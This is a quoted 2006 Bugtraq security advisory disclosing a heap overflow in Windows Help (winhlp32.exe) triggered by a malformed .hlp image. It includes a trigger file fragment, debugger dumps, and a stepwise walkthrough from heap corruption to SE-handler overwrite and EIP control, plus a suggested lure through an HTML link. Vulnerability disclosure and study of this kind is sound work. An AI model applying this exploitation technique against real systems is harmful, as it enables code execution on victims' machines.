> -----Original Message-----
> From: c0ntexb@xxxxxxxxx [mailto:c0ntexb@xxxxxxxxx]
> Sent: Thursday, April 13, 2006 7:37 PM
> To: bugtraq@xxxxxxxxxxxxxxxxx
> Subject: Windows Help Heap Overflow
>
> /*
>
> **************************************************************
> ***************************************************
> $ An open security advisory #15 - Windows Help Heap Overflow
>
> **************************************************************
> ***************************************************
> 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+-
> www.open-security.org
> 2: Bug Released: March 31st 2006
> 3: Bug Impact Rate: Undefined
> 4: Bug Scope Rate: Local / Remote in cases
>
> **************************************************************
> ***************************************************
> $ This advisory and/or proof of concept code must not be
> used for commercial gain.
>
> **************************************************************
> ***************************************************
>
> Windows Help
> www.microsoft.com
>
>
> There is a heap based buffer overflow in the rendering
> engine of .hlp files in winhlp32.exe which will allow some
> attacker the possibility of modifying the internal structure
> of the process with a means to execute arbitrary and
> malicious code.
>
> By modifying the value of an image embedded within a .hlp
> file, (tested with ? image and [] button images) it is
> possible to trigger this bug and overflow a static buffer
> that is defined for data sections of the .hlp file. This
> grants the attacker with the ability to perform an overwrite
> of block(n) and the following blocks control data.
>
> I thought this was an april fools but it's a day too early
> :) Microsoft decide to reject this issue as Windows Help
> is a scriptable environment and as such should not be
> trusted, as a malicious person could add this said "script"
> to .hlp files which would execute "stuff" on the users
> system. Therefor I release this Heap Overflow as another
> untrustable issue with this Microsoft product.
>
> I met some Microsoft Security Auditor guys at Blackhat, Alex
> and some dude called Skylined --- sorry that I didnt
> mention this bug or the one in hh.exe and t3h ebUl.chm, I
> was selling out to get IDefense bug bounty, but alas it
> back fired. I could have done with $10000 but ho hum, you
> win some you loose some :-)
>
> */
>
>
> // Example vulnerable section of a .hlp file ( I used
> acmsetup.hlp in this example) :
> ......snip .....
> :CW(`main'):FH()
> :CBB(`btn_topics
> ',`NS():JI(`>mai
> n',`HelpTopicsBu
> tton'):FH():CS()
> :FH():FD()'):SPC
> (16777215):FH().
> .........lP.....
> ............. ..
> .z...\..........
> ................
> ................
> ..w..x......x...
> ..5.`......%...e
> % ....3.@=......
> ..x.......w..
>
>
>
> // One with malicious input 'inserted' to trigger the bug:
> ......snip......
> :CW(`main'):FH()
> :CBB(`btn_topics
> ',`NS():JI(`>mai
> n',`HelpTopicsBu
> tton'):FH():CS()
> :FH():FD()'):SPC
> (16777215):FH().
> .........lP.....
> ............. ..
> .z...\..........
> .........AAAAAAA
> AAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAA
> plus 10,000 more
>
>
>
> After winhlp32.exe opens the .hlp file, the heap state will
> be as follows:
>
>
> HEAP[winhlp32.exe]: Heap block at 0009B940 modified at
> 0009B9A2 past requested size of 5a
> 0:000> dd 0009b940
> 0009b940 0005000f 001e0700 4f26001f 41697470
> 0009b950 41414141 abababab 41ababab feeefeee
> 0009b960 4100feee 41414141 00040000 41000005
> 0009b970 554d001b 41002928 41414141 feababab
> 0009b980 4100feee 00000000 41060000 41414141
> 0009b990 6f42001f 416d6b6f 65446b72 416e6966
> 0009b9a0 41414141 abababab 41ababab feeefeee
> 0009b9b0 4100feee 00004141 000f0006 feee0400
>
>
> HEAP[winhlp32.exe]: Invalid Address specified to
> RtlFreeHeap( 00090000, 0009B948 )
> (728.2f8): Break instruction exception - code 80000003 (first chance)
> eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba
> esi=00090000 edi=0009b940
> eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0 nv up
> ei pl nz na pe nc
> cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
> efl=00000202
> 0:000> dd 0009B948
> 0009b948 4f26001f 41697470 41414141 abababab
> 0009b958 41ababab feeefeee 4100feee 41414141
> 0009b968 00040000 41000005 554d001b 41002928
> 0009b978 41414141 feababab 4100feee 00000000
> 0009b988 41060000 41414141 6f42001f 416d6b6f
> 0009b998 65446b72 416e6966 41414141 abababab
> 0009b9a8 41ababab feeefeee 4100feee 00004141
> 0009b9b8 000f0006 00230400 000901a8 000901a8
>
>
> HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at
> 0009BF54 past requested size of fc
> 0:000> dd 0009BE50
> 0009be50 00180023 001c0700 02390006 007a0000
> 0009be60 00000000 02b30000 00280000 000e0000
> 0009be70 000d0000 00010000 00000004 00000000
> 0009be80 00000000 005a0000 00100000 00000000
> 0009be90 00000000 00000000 80000080 80000000
> 0009bea0 00800080 00800000 80800080 41410000
> 0009beb0 41414141 41414141 41414141 41414141
> 0009bec0 41414141 41414141 41414141 41414141
>
>
> Here we can see we have overwritten the end of the previous
> chunk at 0009be54 and over the control section of the
> next following chunks
>
>
> 0:000> dd 0009BF54
> 0009bf54 41414141 41414141 41414141 41414141
> 0009bf64 41414141 41414141 41414141 41414141
> 0009bf74 41414141 41414141 41414141 41414141
> 0009bf84 41414141 41414141 41414141 41414141
> 0009bf94 41414141 41414141 41414141 41414141
> 0009bfa4 41414141 41414141 41414141 41414141
> 0009bfb4 41414141 41414141 41414141 41414141
> 0009bfc4 41414141 41414141 41414141 41414141
>
>
>
> This situation provides a 4-byte arbitrary memory overwrite
> due to the fact that we directly control two pointers
> in the heaps management structure:
>
>
> EAX 41414141
> ECX 41414141
> EDX 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
> EBX 00090000
> ESP 0007F90C
> EBP 0007FB30
> ESI 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
> EDI 00000068
> EIP 77F581BD ntdll.77F581BD
>
>
>
> "The instruction at "0x77f581bd" referenced memory at
> "0x41414141". The memory could not be "written"
>
> (dc.cc): Access violation - code c0000005 (first chance)
> First chance exceptions are reported before any exception handling.
> This exception may be expected and handled.
>
> eax=41414141 ebx=0000003f ecx=41414141 edx=0009bf68
> esi=0009bf68 edi=00090000
> eip=77f581bd esp=0007e684 ebp=0007e89c iopl=0 nv up
> ei pl zr na po nc
> cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
> efl=00010246
> 77f581bd 8901 mov [ecx],eax
> ds:0023:41414141=????????
>
>
> > 77f581bd 8901 MOV DWORD PTR DS:[ECX],EAX
> > 77f581bf 8948 04 MOV DWORD PTR DS:[EAX+4],ECX
>
>
> Analysing the heap state afterwards, we can see we are able
> to modify the heap structures with user supplied input,
> which will grant the attacker the possibility of overwriting
> 4 bytes of writable memory with user supplied values.
>
> We can see that we have a classic heap overflow and can now
> either perform an overwrite of _VECTORED_EXCEPTION_NODE,
> UnhandledExceptionFilter or RtlEnterCriticalSection amongst
> other locations, which will return us back to malicious
> code and execute it for us. Another simple, useful option is
> to simply hijack the applications SE Handler directly
> which will allow us to gain control of the process in the
> same manner.
>
>
> * set ecx -> Top SE handler address
> * set eax -> Set EAX to a pointer to our supplied input
> (0x0009E7B2)
>
> ...which will result in EIP being owned here after continuing:
>
>
> EAX 00000000
> ECX 0009E7B2
> EDX 77FB1742 ntdll.77FB1742
> EBX 00000000
> ESP 0007E2B8
> EBP 0007E2D8
> ESI 00000000
> EDI 00000000
> EIP 0009E7B6 ---> what ever is here will be executed ( our
> supplied data is :) )
>
>
>
> However, we are not going to do that, instead we are going
> to target a different stack pointer @ ntdll.77F51C48.
> Running winhlp32.exe in Olly, we set the argument as the
> malicious.hlp file and run it, eventually it will die here:
>
>
> 77F8452D 8901 MOV DWORD PTR DS:[ECX],EAX
> 77F8452F 8948 04 MOV DWORD PTR DS:[EAX+4],ECX
>
>
> And the registers will have the following setup after the crash:
>
>
> EAX 74747474
> ECX 74747474
> EDX 0009BEB8 ASCII
> "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAA...
> EBX 0000003F
> ESP 0007E684
> EBP 0007E89C
> ESI 0009BEB8 ASCII
> "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAA...
> EDI 00090000
> EIP 77F8452D ntdll.77F8452D
>
>
> Now, the stack location we are interested in looks like so
> at this point:
>
>
> 0007E88C 0007E910 Pointer to next SEH record
> 0007E890 77FA88F0 SE handler
> 0007E894 77F51C48 ntdll.77F51C48 <<------------- Our victim
>
>
> We then set EAX (which is user controlled) to -4 the
> attacked location 0007E894, and when MOV [EAX+4],ECX happens, we
> shall overwrite our target. We now set ECX to a pointer to
> our controllable input, a few bytes past all those t's to
> get to our pot of honey:
>
>
> EAX 0007E890
> ECX 0009BED8 ASCII
> 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
> EDX 0009BEB8 ASCII
> "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAA...
> EBX 0000003F
> ESP 0007E684
> EBP 0007E89C
> ESI 0009BEB8 ASCII
> "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAA...
> EDI 00090000
> EIP 77F8452D ntdll.77F8452D
>
>
> ..we then continue the process and pass the exception to the
> application, which after dealing with we end up with our
> registers looking like so:
>
>
> EAX 0009BEB8
> ECX 77F75C17 ntdll.77F75C17
> EDX 0007E474
> EBX 0003A390
> ESP 0007E678
> EBP 0007E89C
> ESI 0009BEB8
> EDI 00000000
> EIP 77F75A59 ntdll.77F75A59
>
>
> ...and, our stack location where the victim is laying will
> be looking like so:
>
>
> 0007E88C 0007E910 Pointer to next SEH record
> 0007E890 77FA88F0 SE handler
> 0007E894 0009BED8 <<---------------- Here we go!
>
>
> great, we have modified our victim pointer with our nasty
> address, which is now pointing in to our pot of honey!! We
> then continue the process again and let the application deal
> with the exception, and after a second we have control of
> our application:
>
>
> EAX 0007E298
> ECX 00000003
> EDX 77FB1742 ntdll.77FB1742
> EBX 0007E88C
> ESP 0007E27C
> EBP 0007E89C
> ESI 00000001
> EDI 0009BED8
> EIP 41414141
>
>
> It should be possible to perform this attack remotly by
> embedding the .hlp file into an HTML page and tricking a
> user to click the link, granting remote access to the system
> with the permissions of the user who executed the help
> file.
>
>
> regards, c0ntex
>
>
